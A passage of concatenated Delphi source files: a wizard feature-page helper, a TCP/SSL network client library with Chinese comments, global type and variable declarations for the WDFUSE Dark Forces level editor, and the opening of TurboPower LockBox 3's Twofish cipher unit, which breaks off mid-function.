AFeaturesPage.AddFeatureGroup(Integer(Group), Name, Description)
else if AFeatureDescription.Group = feNone then
with AFeatureDescription do
AFeaturesPage.AddFeature(Integer(Feature), Name, Description)
else
with AFeatureDescription do
AFeaturesPage.AddFeature(Integer(Group), Integer(Feature), Name, Description)
end;
procedure EnumFeatures(AFilter: TFunc<TFeatureDescription, Boolean>; AEnum: TProc<TFeatureDescription>);
var
LDescription: TFeatureDescription;
begin
for LDescription in FFeatureDescriptions do
if AFilter(LDescription) then
begin
AEnum(LDescription);
end;
end;
procedure EnumApplicationFeatures(AType: TSampleApplicationType; AEnum: TProc<TFeatureDescription>);
begin
EnumFeatures(
function(ADescription: TFeatureDescription): Boolean
begin
Result := (ADescription.ApplicationTypes * [AType]) <> []
end, AEnum);
end;
procedure CheckFeature(AFeaturesPage: TCustomExpertsFeaturesWizardPage; AFeature: TFeature; AChecked: Boolean);
begin
AFeaturesPage.Checked[Integer(AFeature)] := AChecked;
end;
procedure CheckFeatures(AFeaturesPage: TCustomExpertsFeaturesWizardPage; AType: TSampleApplicationType; AFeatures: TFeatures);
begin
EnumApplicationFeatures(AType,
procedure(ADescription: TFeatureDescription)
begin
if ADescription.Feature <> feNone then
CheckFeature(AFeaturesPage, ADescription.Feature,
(AFeatures * [ADescription.Feature]) <> []);
end)
end;
procedure AddFeatures(AFeaturesPage: TCustomExpertsFeaturesWizardPage; AType: TSampleApplicationType);
begin
EnumApplicationFeatures(AType,
procedure(ADescription: TFeatureDescription)
begin
AddFeature(AFeaturesPage, ADescription);
end)
end;
procedure UpdateFeatures(AFeaturesPage: TCustomExpertsFeaturesWizardPage; AType: TSampleApplicationType;
var AFeatures: TFeatures);
var
LFeatures: TFeatures;
begin
LFeatures := AFeatures;
EnumApplicationFeatures(AType,
procedure(ADescription: TFeatureDescription)
begin
if ADescription.Feature <> feNone then
begin
if AFeaturesPage.Checked[Integer(ADescription.Feature)] then
Include(LFeatures, ADescription.Feature)
else
Exclude(LFeatures, ADescription.Feature)
end;
end);
AFeatures := LFeatures;
end;
end.
|
///////////////////////////////////////////////////////////
//
// 网络连接库接口定义 开发版本: Delphi XE5
// 作者:龙仕云 2013-12-20
//
// 修改
// 编号 作者 时间 修改内容
// 1 龙仕云 2013-12-20 创建文件
//
//
///////////////////////////////////////////////////////////
unit UtilUnit;
interface
uses
SysUtils,Windows,Classes,
IdIOHandler, IdIOHandlerSocket,IdIOHandlerStack, IdSSL, IdSSLOpenSSL,
IdTCPClient,
ActiveX,
NetInterfaceUnit,superobject;
type
TNet = class(TInterfacedObject,INet)
private
fHandle : THandle;
fConfig : ISuperObject;
fIdTCPClient : TIdTCPClient;
fIdSSLIOHandler : TIdSSLIOHandlerSocketOpenSSL;
fOnLineCount : integer; //在线总数
fWelCome : string; //欢迎语
fAuthorized : Boolean; //=true 表示已认证过了
public
constructor Create(AHandle:THandle);
destructor Destroy; override;
//接口内容
function Connect(Atimeout:integer):boolean;stdcall;
procedure Disconnect();stdcall;
function Connected():Boolean;stdcall;
function GetServerDataTime():widestring; stdcall;
function GetValueByName(AName:widestring; var AValue:Variant):Boolean;stdcall;
end;
//
// 参数: AConfig
// {
// ssl: true 表示采用ssl连接,这时key ,cert可填写
// key: "绝对路径"
// cert: "绝对路径"
// host: "" 服务器ip
// port: ""
// }
//
function CreateNet(AHandle:HWND;AConfig:widestring): INet; stdcall;
//断定是否在线
function CheckOnLine: Boolean; stdcall;
implementation
uses
Vcl.forms,
datapack,
vcl.AxCtrls,
WinInet;
{$IFDEF DEBUG}
var
debugcount: integer = 0;
{$ENDIF}
function IsNetworkAlive(var varlpdwFlagsLib:Integer):Integer;stdcall;external 'sensapi.dll';
function CreateNet(AHandle:HWND;AConfig:WideString): INet; stdcall;
var
i : integer;
myNet : TNet;
myjson : ISuperObject;
begin
myNet := TNet.Create(AHandle);
myjson := SO(AConfig);
if myNet.fConfig <> nil then
myNet.fConfig := nil;
myNet.fConfig := myjson.Clone;
Result := myNet;
end;
function CheckOnLine: Boolean; stdcall;
var
ConnectState: DWORD;
StateSize : DWORD;
flags : DWORD ; //上网方式
flag : Integer;
m_bOnline : Boolean;
begin
//1.取intere的配置内容
ConnectState:= 0;
StateSize:= SizeOf(ConnectState);
result:= false;
if InternetQueryOption(nil, INTERNET_OPTION_CONNECTED_STATE,
@ConnectState, StateSize) then
if (ConnectState and INTERNET_STATE_DISCONNECTED) <> 2 then
result:= true;
if not Result then Exit;
//2.确定物理连接是否对
flags := INTERNET_CONNECTION_MODEM+INTERNET_CONNECTION_LAN+INTERNET_CONNECTION_PROXY;
m_bOnline :=InternetGetConnectedState(@flags,0);
if m_bOnline then
begin
Result := ((flags and INTERNET_CONNECTION_MODEM)=INTERNET_CONNECTION_MODEM) or
((flags and INTERNET_CONNECTION_LAN)=INTERNET_CONNECTION_LAN) or
((flags and INTERNET_CONNECTION_PROXY)=INTERNET_CONNECTION_PROXY);
end
else begin
// 有时 InternetGetConnectedState 不好有,有连网一样能返回值
//华水市政就这情况
IsNetworkAlive(flag);
Result := (flag=1{NETWORK_ALIVE_LAN}) or
(flag=2{ConstNETWORK_ALIVE_WAN}) or
(flag=4{ConstNETWORK_ALIVE_AOL});
end;
if not Result then Exit;
Result := InternetCheckConnection('http://www.baidu.com',1,0);
//if not Result then
// Result := InternetCheckConnection('http://www.163.com',1,0);
end;
{ TNet }
function TNet.Connect(Atimeout: integer): boolean;
var
mykey : string;
mycret : string;
myhost : string;
myport : integer;
myssl : Boolean;
myJson : ISuperObject;
myStr : string;
begin
//
mykey := fConfig.S['key'];
mycret := fConfig.S['cert'];
myhost := fConfig.S['host'];
myport := fConfig.I['port'];
myssl := fConfig.B['ssl'];
if (myhost='') or (myport=0) then
begin
Result := False;
Exit;
end;
if myssl and ((mykey='') or (mycret='') ) then
begin
Result := False;
Exit;
end;
if myssl then
begin
fIdSSLIOHandler.SSLOptions.CertFile := mycret;
fIdSSLIOHandler.SSLOptions.KeyFile := mykey;
fIdSSLIOHandler.SSLOptions.Method := sslvSSLv23;
fIdTCPClient.IOHandler := fIdSSLIOHandler;
end;
fIdTCPClient.ConnectTimeout := Atimeout;
fIdTCPClient.Port := myport;
fIdTCPClient.Host := myhost;
try
fIdTCPClient.Connect;
Result := fIdTCPClient.Connected;
if Result then
begin
myStr := fIdTCPClient.Socket.ReadLn();
myJson := SO(myStr);
try
fOnLineCount := myJson.I['onlinecount'];
fAuthorized := myJson.B['authorized'];
fWelCome := myJson.S['welcome'];
finally
myJson := nil;
end;
end;
except on E: Exception do
Result := False;
end;
end;
function TNet.Connected: Boolean;
begin
Result := fIdTCPClient.Connected;
end;
constructor TNet.Create(AHandle: THandle);
begin
{$IFDEF DEBUG}
InterlockedIncrement(debugcount);
{$ENDIF}
fHandle := Application.Handle;
Application.Handle := AHandle;
fIdSSLIOHandler := TIdSSLIOHandlerSocketOpenSSL.Create(nil);
fConfig := SO;
fIdTCPClient := TIdTCPClient.Create(nil);
fAuthorized := False;
fOnLineCount := 0;
end;
destructor TNet.Destroy;
begin
{$IFDEF DEBUG}
InterlockedDecrement(debugcount);
{$ENDIF}
if fIdTCPClient.Connected then
fIdTCPClient.Disconnect;
fIdTCPClient.Free;
fIdSSLIOHandler.Free;
fConfig := nil;
Application.Handle := fHandle;
inherited;
end;
procedure TNet.Disconnect;
begin
if fIdTCPClient.Connected then
fIdTCPClient.Disconnect;
end;
function TNet.GetServerDataTime: widestring;
var
mydp : TDataPack;
mystr : string;
begin
Result := '';
mydp := TDataPack.Create(ncDateTime);
try
mystr := mydp.toJsonStr();
if fIdTCPClient.Connected then
begin
fIdTCPClient.Socket.Write(mystr);
mystr := fIdTCPClient.Socket.ReadLn;
if mydp.LoadJsonStr(mystr) then
begin
Result := mydp.fdata.S['datetime'];
end;
end;
finally
mydp.Free;
end;
end;
function TNet.GetValueByName(AName: widestring; var AValue: Variant): Boolean;
var
myName : string;
begin
Result := False;
myName := lowercase(AName);
if myName = 'welcome' then
begin
AValue := fWelCome;
Result := True;
end
else if myName = 'authorized' then
begin
AValue := fAuthorized;
Result := True;
end;
end;
{$IFDEF DEBUG}
initialization
finalization
Assert(debugcount = 0, 'net.dll 内存泄露。');
{$ENDIF}
end.
|
unit M_global;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, IniFiles, Graphics;
TYPE Integ16 =
{$IFNDEF WDF32}
Integer;
{$ELSE}
SmallInt;
{$ENDIF}
{ CONSTANTS }
CONST
{$IFNDEF WDF32}
WDFUSE_VERSION = 'Version 2.50 beta 3 (16 bits)';
{$ELSE}
WDFUSE_VERSION = 'Version 2.50 beta 3 (32 bits)';
{$ENDIF}
MM_SC = 0;
MM_WL = 1;
MM_VX = 2;
MM_OB = 3;
MT_NO = 0;
MT_LI = 1;
MT_DM = 2;
MT_2A = 3;
MT_SP = 4;
RST_BM = 0;
RST_3DO = 2;
RST_WAX = 3;
RST_FME = 4;
RST_SND = 5;
OBT_SPIRIT = 0;
OBT_SAFE = 1;
OBT_3D = 2;
OBT_SPRITE = 3;
OBT_FRAME = 4;
OBT_SOUND = 5;
OBS_GENERATOR = 1;
CUsePlusVX = FALSE;
CUsePlusOBShad = FALSE;
CSpecialsVX = TRUE;
CSpecialsOB = TRUE;
Cvx_scale = 6;
Cvx_dim_max = 3;
Cbigvx_scale = 13;
Cbigvx_dim_max = 5;
Cob_scale = 6;
Cob_dim_max = 3;
Cbigob_scale = 13;
Cbigob_dim_max = 5;
perp_ratio = 0.25e0;
extr_ratio = 0.25e0;
{ DEFAULTS }
CONST
Ccol_back = clBlack;
Ccol_wall_n = clLime;
Ccol_wall_a = clGreen;
Ccol_shadow = clGray;
Ccol_grid = clFuchsia;
Ccol_select = clRed;
Ccol_multis = clWhite;
Ccol_elev = clYellow;
Ccol_trig = clAqua;
Ccol_goal = clPurple;
Ccol_secr = clFuchsia;
Ccol_dm_low = clGreen;
Ccol_dm_high = clYellow;
Ccol_dm_gas = clRed;
Ccol_2a_water = clBlue;
Ccol_2a_catwlk = clGray;
Ccol_sp_sky = clAqua;
Ccol_sp_pit = clGray;
const rs = 20; {size of the palette squares}
const rcs = 12; {size of the colormap squares}
TYPE
PByte = ^Byte;
PInt = ^Integer;
PLong = ^LongInt;
TYPE
{INF CLASS}
TInfClass = class
IsElev : Boolean;
Name : String[30];
SlaCli : TStringList;
constructor Create;
procedure Free;
end;
TINFSequence = class
Comments : TStringList;
Classes : TSTringList;
Constructor Create;
Procedure Free;
end;
TINFCls = class
ClsName : String[19];
ClsType : Integer; {0=Elev, 1=Trig, 2=Chute}
SlaCliTgt : TStringList; {Slaves, Clients, Target}
Stops : TStringList;
Actions : TStringList; {stockage : 'stopnum', TINFAction}
Master : String[15];
Start : String[15];
Sound1,
Sound2,
Sound3 : String[15];
Flags : String[15];
event,
event_mask,
entity_mask : String[15]; {convert to longint only when needed
! entity_mask may be '*' !}
key,
key1 : String[15];
speed,
speed1 : String[15];
angle : String[15];
centerX,
centerZ : String[15]; {! precision may be 4 decimals !}
Constructor Create;
Procedure Free;
end;
TINFStop = class
IsAtStop : Boolean;
Value : String[20]; {! may be a sector name !}
DHT : String[15];
end;
TINFAction = class
ActName : String[15]; {'adjoin:', 'message:', 'page:', 'text:'}
Value : String[15]; {main value : for page & text}
sc1 : String[30]; {may also be 'system'}
wl1,
sc2,
wl2 : String[20];
MsgType : String[15]; {master_on, lights, set_bits, ...}
MsgParam1,
MsgParam2 : String[15];
end;
{TEXTURE}
TTEXTURE = record
name : String[16];
f1 : Real;
f2 : Real;
i : Integ16;
end;
{ SECTOR }
TSECTOR = class(TObject)
Mark : Integ16; { reserved for multiple selection }
Vx : TStringList;
Wl : TStringList;
Name : String[20];
Layer : Integ16;
Floor_alt : Real;
Ceili_alt : Real;
Second_alt : Real;
Ambient : Integ16;
Flag1 : LongInt;
Flag2 : LongInt;
Flag3 : LongInt;
Reserved : Integ16; { used in the deformations }
Floor,
Ceili : TTexture;
Elevator : Boolean; {used in drawing, faster than listing the classes}
Trigger : Boolean;
Secret : Boolean;
InfClasses : TStringList;
InfItems : TStringList; {NEW}
constructor Create;
procedure Free;
end;
{ WALL }
TWALL = class(TObject)
Mark : Integ16; { reserved for multiple selection }
Left_vx : Integ16;
Right_vx : Integ16;
Adjoin : Integ16;
Mirror : Integ16;
Walk : Integ16;
Light : Integ16;
Flag1 : LongInt;
Flag2 : LongInt;
Flag3 : LongInt;
Reserved : Integ16; { used in the deformations }
Mid,
Top,
Bot,
Sign : TTexture;
Elevator : Boolean;
Trigger : Boolean;
InfClasses : TStringList;
Cycle : Integer; {This field is valid only just after calculating it}
InfItems : TStringList; {NEW}
constructor Create;
procedure Free;
end;
{ VERTEX }
TVERTEX = class(TObject)
Mark : Integ16; { reserved for multiple selection }
X : Real;
Z : Real;
end;
{ OBJECT }
TOB = class(TObject)
Mark : Integ16;
Sec : Integer; {for object layering}
{DON'T use Integ16 for this one, it is used
as a VAR parameter in a fx somewhere}
X, Y, Z : Real;
Yaw, Pch, Rol : Real;
Diff : Integ16;
ClassName : String[16];
DataName : String[16];
Seq : TStringList;
Col : TColor;
Otype : Integ16; { reserved for different displays }
Special : Integ16; { reserved for generators objects }
constructor Create;
procedure Free;
end;
{ RESOURCES & TOOLKIT TYPES }
TRESOURCE = record
Name : String;
Ext : String;
SizeX : LongInt;
SizeY : LongInt;
InsertX : LongInt;
InsertY : LongInt;
OffsetX : Integer;
OffsetY : Integer;
Multiple : Boolean;
Number : Integer;
Current : Integer;
Compressed : Boolean;
Flipped : Boolean;
Transparent : Boolean;
Colors : Integer;
ColFrom : Integer;
ColTo : Integer;
end;
TYPE
TBM_HEADER = record
BM_MAGIC : array[1..4] of Char;
SizeX : Integ16;
SizeY : Integ16;
idemX : Integ16;
idemY : Integ16;
transparent : Byte;
logSizeY : Byte;
Compressed : Integ16;
DataSize : LongInt;
filler : array[1..12] of Char;
end;
TBM_SUBHEADER = record
SizeX : Integ16;
SizeY : Integ16;
idemX : Integ16;
idemY : Integ16;
DataSize : LongInt;
logSizeY : Byte;
filler1 : array[1..11] of Char;
transparent : Byte;
filler2 : array[1..3] of Char;
end;
TFME_HEADER1 = record
InsertX : LongInt;
InsertY : LongInt;
Flip : LongInt;
Header2 : LongInt;
UnitWidth : LongInt; { cell width in feet}
UnitHeight : LongInt; { cell height in feet}
pad3,
pad4 : LongInt;
end;
TFME_HEADER2 = record
SizeX : LongInt;
SizeY : LongInt;
Compressed : LongInt;
DataSize : LongInt;
ColOffs : Longint; { offset to column table = 0 in all known cases
because the table follows }
pad1 : LongInt;
end;
TYPE
TDELTH = record
OffsX,
OffsY,
SizeX,
SizeY : Integ16;
end;
TDELTL = record
Size,
PosX,
PosY : Integ16;
end;
T3DO_object = class(TObject)
Name : String[30];
Vertices : TStringList;
Triangles : TStringList;
Quads : TStringList;
constructor Create;
procedure Free;
end;
T3DO_VERTEX = class(TObject)
X, Y, Z : Real;
end;
T3DO_TRIANGLE = class(TObject)
A, B, C : Integer;
end;
T3DO_QUAD = class(TObject)
A, B, C, D : Integer;
end;
TPLACEMARKER = class(TObject)
XOff, ZOff, Lay : Integer;
ZoomFactor : Real;
end;
VAR
Ini : TIniFile;
WDFUSEdir : String[128];
DarkInst : TFileName;
DarkCD : String[20];
DARKgob,
SPRITESgob,
TEXTURESgob,
SOUNDSgob : TFileName;
ChkCmdLine : Boolean;
INFEditor : TFileName;
Voc2Wav : TFileName;
Wav2Voc : TFileName;
TestLaunch : Boolean;
Backup_Method : Integer;
CurrentGOB : TFileName;
CurrentLFD : TFileName;
inf : System.TextFile;
INFLoaded : Boolean;
INFModified : Boolean;
INFComments : TStringList;
INFErrors : TStringList;
INFLevel : TStringlist;
INFMisc : Integer;
INFRemote : Boolean;
INFSector : Integer;
INFWall : Integer;
gol : System.TextFile;
GOLComments : TStringList;
GOLErrors : TStringList;
GOLItems : TStringList;
CreateItem : Boolean;
OldSel : Integer;
_VGA_MULTIPLIER : Integer;
HPALPalette : HPalette;
HPLTTPalette : HPalette;
TheRES : String[128];
ThePAL : String[128];
CONFIRMMultiDelete : Boolean;
CONFIRMMultiUpdate : Boolean;
CONFIRMMultiInsert : Boolean;
CONFIRMSectorDelete : Boolean;
CONFIRMWallDelete : Boolean;
CONFIRMVertexDelete : Boolean;
CONFIRMObjectDelete : Boolean;
CONFIRMWallSplit : Boolean;
CONFIRMWallExtrude : Boolean;
USERName : string[20];
USERreg : string[12];
USERemail : string[40];
NOT_REG : array[0..127] of char;
num1 : Integer;
num2 : Integer;
num3 : Integer;
{ History Lists }
GOB_History : TStringList;
LFD_History : TStringList;
PAL_History : TStringList;
PLT_History : TStringList;
FINDSC_VALUE : String[20];
RES_PICKER_MODE : Integer;
RES_PICKER_VALUE : String[20];
OBCLASS_VALUE : String[20];
OBSEQNUMBER : Integer;
OBSEL_VALUE : String[20];
UsePlusVX : Boolean;
UsePlusOBShad : Boolean;
SpecialsVX : Boolean;
SpecialsOB : Boolean;
vx_scale : Integer;
vx_dim_max : Integer;
bigvx_scale : Integer;
bigvx_dim_max : Integer;
ob_scale : Integer;
ob_dim_max : Integer;
bigob_scale : Integer;
bigob_dim_max : Integer;
col_back : TColor;
col_wall_n : TColor;
col_wall_a : TColor;
col_shadow : TColor;
col_grid : TColor;
col_select : TColor;
col_multis : TColor;
col_elev : TColor;
col_trig : TColor;
col_goal : TColor;
col_secr : TColor;
col_dm_low : TColor;
col_dm_high : TColor;
col_dm_gas : TColor;
col_2a_water : TColor;
col_2a_catwlk : TColor;
col_sp_sky : TColor;
col_sp_pit : TColor;
DOOM : Boolean;
MAP_RECT : TRect;
MAP_SEC : TStringList;
MAP_OBJ : TStringList;
TX_LIST : TStringList;
POD_LIST : TStringList;
SPR_LIST : TStringList;
FME_LIST : TStringList;
SND_LIST : TStringList;
PROJECTFile : TFileName;
LEVELName : String;
LEVELPath : TFileName;
LEVELBNum : Integer;
LEVELloaded : Boolean;
OFILELoaded : Boolean;
INFFILELoaded : Boolean;
GOLFILELoaded : Boolean;
LEV_VERSION,
LEV_LEVELNAME,
LEV_PALETTE,
LEV_MUSIC : String[20];
LEV_PARALLAX1,
LEV_PARALLAX2 : Real;
O_VERSION,
O_LEVELNAME : String[20];
INF_VERSION,
INF_LEVELNAME : String[20];
GOL_VERSION : String[20];
Scale : Real;
GridON : Boolean;
GRID : Integer;
ScreenX : Integer;
ScreenZ : Integer;
ScreenCenterX : Integer;
ScreenCenterZ : Integer;
Xoffset : Integer;
Zoffset : Integer;
SHADOW : Boolean;
OBSHADOW : Boolean;
OBDIFF : Integer;
OBLAYERMODE : Integer; {0 : no layering, 1 floor, 2 ceiling}
LAYER : Integer;
LAYER_MIN,
LAYER_MAX : Integer;
SHADOW_LAYERS : array[-9..9] of Boolean;
MAP_MODE : Integer;
MAP_TYPE : Integer;
SC_HILITE,
WL_HILITE,
VX_HILITE,
OB_HILITE : Integer;
SUPERHILITE : Integer;
SC_MULTIS,
WL_MULTIS,
VX_MULTIS,
OB_MULTIS : TStringList;
MAP_SEC_UNDO : TStringList;
MAP_OBJ_UNDO : TStringList;
MAP_MODE_UNDO : Integer;
SC_HILITE_UNDO,
WL_HILITE_UNDO,
VX_HILITE_UNDO,
OB_HILITE_UNDO : Integer;
XOffset_UNDO,
ZOffset_UNDO : Integer;
Scale_UNDO : Real;
LAYER_UNDO : Integer;
LAYER_MIN_UNDO,
LAYER_MAX_UNDO : Integer;
MAP_SEC_CLIP : TStringList;
MAP_OBJ_CLIP : TStringList;
MULTISEL_MODE : String[1];
FlagEditorVal : LongInt;
FastSCROLL : Boolean;
FastDRAG : Boolean;
IsDRAG : Boolean;
FirstDRAG : Boolean;
ORIGIN : TPoint;
DESTIN : TPoint;
IsFOCUSRECT : Boolean;
FOCUSRECT : TRect;
IsRULERLINE : Boolean;
MODIFIED : Boolean;
BACKUPED : Boolean;
TMPSector,
ORISector : TSector;
TMPWall,
ORIWall : TWall;
TMPVertex,
ORIVertex : TVertex;
TMPObject,
ORIObject : TOB;
TMPHWindow : HWnd;
TheRESOURCE : TRESOURCE;
CurFrame : Integer;
quantize : array[0..255] of Byte;
PALbuffer : array[0..767] of Byte;
BMPpalette : array[0..767] of Byte;
COLtable : array[0..1023] of Byte;
tmpWalls : TStringList;
MAP_MARKERS : TStringList;
DUKE_CEILIPIC : Integ16;
DUKE_FLOORPIC : Integ16;
DUKE_WALLPIC : Integ16;
DUKE_HSCALE : Integ16;
DUKE_VSCALE : Integ16;
DUKE_1STTILE : Integ16;
DUKE_XOFFSET : LongInt;
DUKE_ZOFFSET : LongInt;
DUKE_YOFFSET : LongInt;
function S2MX(x : Real) : Real;
function S2MZ(z : Real) : Real;
function M2SX(x : Real) : Integer;
function M2SZ(z : Real) : Integer;
{*****************************************************************************}
implementation
constructor TInfClass.Create;
begin
inherited Create;
SlaCli := TStringList.Create;
end;
procedure TInfClass.Free;
begin
SlaCLi.Free;
inherited Free;
end;
constructor TSector.Create;
begin
inherited Create;
Vx := TStringList.Create;
Wl := TStringList.Create;
InfClasses := TStringList.Create;
InfItems := TStringList.Create;
end;
procedure TSector.Free;
begin
Vx.Free;
Wl.Free;
InfClasses.Free;
InfItems.Free;
inherited Free;
end;
constructor TWall.Create;
begin
inherited Create;
InfClasses := TStringList.Create;
InfItems := TStringList.Create;
end;
procedure TWall.Free;
begin
InfClasses.Free;
InfItems.Free;
inherited Free;
end;
constructor TOB.Create;
begin
inherited Create;
Seq := TStringList.Create;
end;
procedure TOB.Free;
begin
Seq.Free;
inherited Free;
end;
constructor TINFSequence.Create;
begin
inherited Create;
Comments := TStringList.Create;
Classes := TStringList.Create;
end;
procedure TINFSequence.Free;
begin
Comments.Free;
Classes.Free;
inherited Free;
end;
constructor TINFCls.Create;
begin
inherited Create;
SlaCliTgt := TStringList.Create;
Stops := TStringList.Create;
Actions := TStringList.Create;
end;
procedure TINFCls.Free;
begin
SlaCliTgt.Free;
Stops.Free;
Actions.Free;
inherited Free;
end;
constructor T3DO_object.Create;
begin
inherited Create;
Vertices := TStringList.Create;
Triangles := TStringList.Create;
Quads := TStringList.Create;
end;
procedure T3DO_object.Free;
begin
Vertices.Free;
Triangles.Free;
Quads.Free;
inherited Free;
end;
function S2MX(x : Real) : Real;
begin
S2MX := Xoffset + ((x - ScreenCenterX) / scale);
end;
function S2MZ(z : Real) : Real;
begin
S2MZ := Zoffset + ((ScreenCenterZ - z) / scale);
end;
function M2SX(x : Real) : Integer;
begin
M2SX := Round( ScreenCenterX + ((x - xoffset) * scale) );
end;
function M2SZ(z : Real) : Integer;
begin
M2SZ := Round( ScreenCenterZ + ((Zoffset - z) * scale) );
end;
begin
DecimalSeparator := '.';
ThousandSeparator := ',';
DOOM := FALSE;
MAP_MODE := MM_VX;
MAP_TYPE := MT_NO;
SHADOW := FALSE;
OBSHADOW := FALSE;
OBDIFF := 0;
GridON := FALSE;
GRID := 8;
LAYER := 0;
OBLAYERMODE := 1; {layer to floor}
SC_HILITE := 0;
WL_HILITE := 0;
VX_HILITE := 0;
OB_HILITE := 0;
SUPERHILITE := -1;
INFRemote := FALSE;
INFMisc := -1;
SC_MULTIS := TStringList.Create;
WL_MULTIS := TStringList.Create;
VX_MULTIS := TStringList.Create;
OB_MULTIS := TStringList.Create;
MULTISEL_MODE := 'T';
FastSCROLL := TRUE;
FastDRAG := TRUE;
IsDRAG := FALSE;
IsFOCUSRECT := FALSE;
num1 := 13;
num2 := 20;
num3 := 57;
end.
|
{* ***** BEGIN LICENSE BLOCK *****
Copyright 2010 Sean B. Durkin
This file is part of TurboPower LockBox 3. TurboPower LockBox 3 is free
software being offered under a dual licensing scheme: LGPL3 or MPL1.1.
The contents of this file are subject to the Mozilla Public License (MPL)
Version 1.1 (the "License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.mozilla.org/MPL/
Alternatively, you may redistribute it and/or modify it under the terms of
the GNU Lesser General Public License (LGPL) as published by the Free Software
Foundation, either version 3 of the License, or (at your option) any later
version.
You should have received a copy of the Lesser GNU General Public License
along with TurboPower LockBox 3. If not, see <http://www.gnu.org/licenses/>.
TurboPower LockBox is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. In relation to LGPL,
see the GNU Lesser General Public License for more details. In relation to MPL,
see the MPL License for the specific language governing rights and limitations
under the License.
The Initial Developer of the Original Code for TurboPower LockBox version 2
and earlier was TurboPower Software.
* ***** END LICENSE BLOCK ***** *}
unit uTPLb_TwoFish;
interface
uses
SysUtils, Classes, uTPLb_BlockCipher, uTPLb_StreamCipher, uTPLb_Decorators;
type
{$IF compilerversion >= 21}
{$RTTI EXPLICIT METHODS([vcPrivate, vcProtected, vcPublic, vcPublished]) PROPERTIES([vcPublished])}
// Exposes the attribute on the SeedByteSize method.
{$ENDIF}
{$IF compilerversion >= 21} [DesignDescription(
'From Wikipedia: QUOTE:'#13#10 +
'Twofish is a symmetric key block cipher with a block size of 128 bits and '#13#10 +
'key sizes up to 256 bits. It was one of the five finalists of the Advanced '#13#10 +
'Encryption Standard contest, but was not selected for standardisation. '#13#10 +
'Twofish is related to the earlier block cipher Blowfish.'#13#10 +
'END QUOTE'
)] {$ENDIF}
TTwoFish = class( TInterfacedObject,
IBlockCipher, ICryptoGraphicAlgorithm, IControlObject
{$IF compilerversion < 21}
,IVariableSeedSize
{$ENDIF}
)
private
function DisplayName: string;
function ProgId: string;
function Features: TAlgorithmicFeatureSet;
function DefinitionURL: string;
function WikipediaReference: string;
function GenerateKey( Seed: TStream): TSymetricKey;
function LoadKeyFromStream( Store: TStream): TSymetricKey;
function BlockSize: integer;
{$IF compilerversion >= 21}
[IntegerRange( 192, 256)]
{$ENDIF}
function KeySize: integer;
function MakeBlockCodec( Key: TSymetricKey): IBlockCodec;
function SelfTest_Key: TBytes;
function SelfTest_Plaintext: TBytes;
function SelfTest_Ciphertext: TBytes;
function ControlObject: TObject;
{$IF compilerversion >= 21}
[IntegerRange( 1, 32)]
function SeedByteSize: integer;
{$ELSE}
function SeedByteSize: integer;
function MinSeedByteSize: integer;
function MaxSeedByteSize: integer;
{$ENDIF}
public
constructor Create;
end;
implementation
uses uTPLb_Constants, DCPtwofish_LB3Modified, Math, uTPLb_StrUtils
{$IF compilerversion <= 17}
, uTPLb_D7Compatibility
{$ENDIF}
;
type
TTwofishKey = class( TSymetricKey)
public
FKeySeed: TBytes;
FKeySize: integer;
FSubKeys: TSubKeys;
FSBox: TSBox;
constructor GenerateFromSeed( Seed: TStream);
constructor LoadFromStream( Store: TStream);
procedure SaveToStream( Stream: TStream); override;
procedure Burn; override;
end;
TTwofishBlockCodec = class( TInterfacedObject, IBlockCodec)
private
FOwner: TTwoFish;
FKey: TTwofishKey;
procedure Encrypt_Block( Plaintext{in}, Ciphertext{out}: TMemoryStream);
procedure Decrypt_Block( Plaintext{out}, Ciphertext{in}: TMemoryStream);
procedure Reset;
procedure Burn;
public
constructor Create( Owner1: TTwoFish; Key1: TTwofishKey);
end;
var
hasPreComp: boolean = False;
procedure InitUnit_TwoFish;
begin
hasPreComp := False
end;
procedure DoneUnit_TwoFish;
begin
end;
procedure CheckPreComp;
begin
if hasPreComp then exit;
hasPreComp := True;
DCP_towfish_Precomp
end;
function TTwoFish.BlockSize: integer;
begin
result := 128
end;
function TTwoFish.ControlObject: TObject;
begin
result := self
end;
constructor TTwoFish.Create;
begin
end;
function TTwoFish.DefinitionURL: string;
begin
result := 'http://www.schneier.com/paper-twofish-paper.pdf'
end;
function TTwoFish.DisplayName: string;
begin
result := 'Twofish'
end;
function TTwoFish.Features: TAlgorithmicFeatureSet;
begin
result := [afOpenSourceSoftware]
end;
function TTwoFish.GenerateKey( Seed: TStream): TSymetricKey;
begin
result := TTwofishKey.GenerateFromSeed( Seed)
end;
function TTwoFish.KeySize: integer;
begin
result := 256
// This is a nominal value only. The actual key size will only
// be known at key generation time. It will deemed either be 128, 192 or 256.
end;
function TTwoFish.LoadKeyFromStream( Store: TStream): TSymetricKey;
begin
result := TTwofishKey.LoadFromStream( Store)
end;
function TTwoFish.MakeBlockCodec( Key: TSymetricKey): IBlockCodec;
begin
result := TTwofishBlockCodec.Create( self, Key as TTwofishKey)
end;
function TTwoFish.ProgId: string;
begin
result := Twofish_ProgId
end;
function TTwoFish.SeedByteSize: integer;
// Variable. Up to 256 bits. In whole number of 8 bits. At least 8.
begin
result := 32
end;
{$IF compilerversion < 21}
// Equivalent to [IntegerRange( 1, 32)]
function TTwoFish.MinSeedByteSize: integer;
begin
result := 1
end;
function TTwoFish.MaxSeedByteSize: integer;
begin
result := 32
end;
{$ENDIF}
//from http://www.schneier.com/code/ecb_ival.txt
//KEYSIZE=192
//I=10
//KEY=AE8109BFDA85C1F2C5038B34ED691BFF3AF6F7CE5BD35EF1
//PT=893FD67B98C550073571BD631263FC78
//CT=16434FC9C8841A63D58700B5578E8F67
function TTwoFish.SelfTest_Ciphertext: TBytes;
begin
result := AnsiBytesOf('16434FC9C8841A63D58700B5578E8F67');
end;
function TTwoFish.SelfTest_Key: TBytes;
begin
result := AnsiBytesOf('AE8109BFDA85C1F2C5038B34ED691BFF3AF6F7CE5BD35EF1');
end;
function TTwoFish.SelfTest_Plaintext: TBytes;
begin
result := AnsiBytesOf('893FD67B98C550073571BD631263FC78');
end;
function TTwoFish.WikipediaReference: string;
begin
result := 'Twofish'
end;
{ TTwofishKey }
constructor TTwofishKey.GenerateFromSeed( Seed: TStream);
var
L: integer;
begin
L := Seed.Size;
SetLength( FKeySeed, L);
if L > 0 then
begin
Seed.Position := 0;
Seed.Read( FKeySeed[0], L)
end;
if L < 16 then
FKeySize := 128
else if L <= 24 then
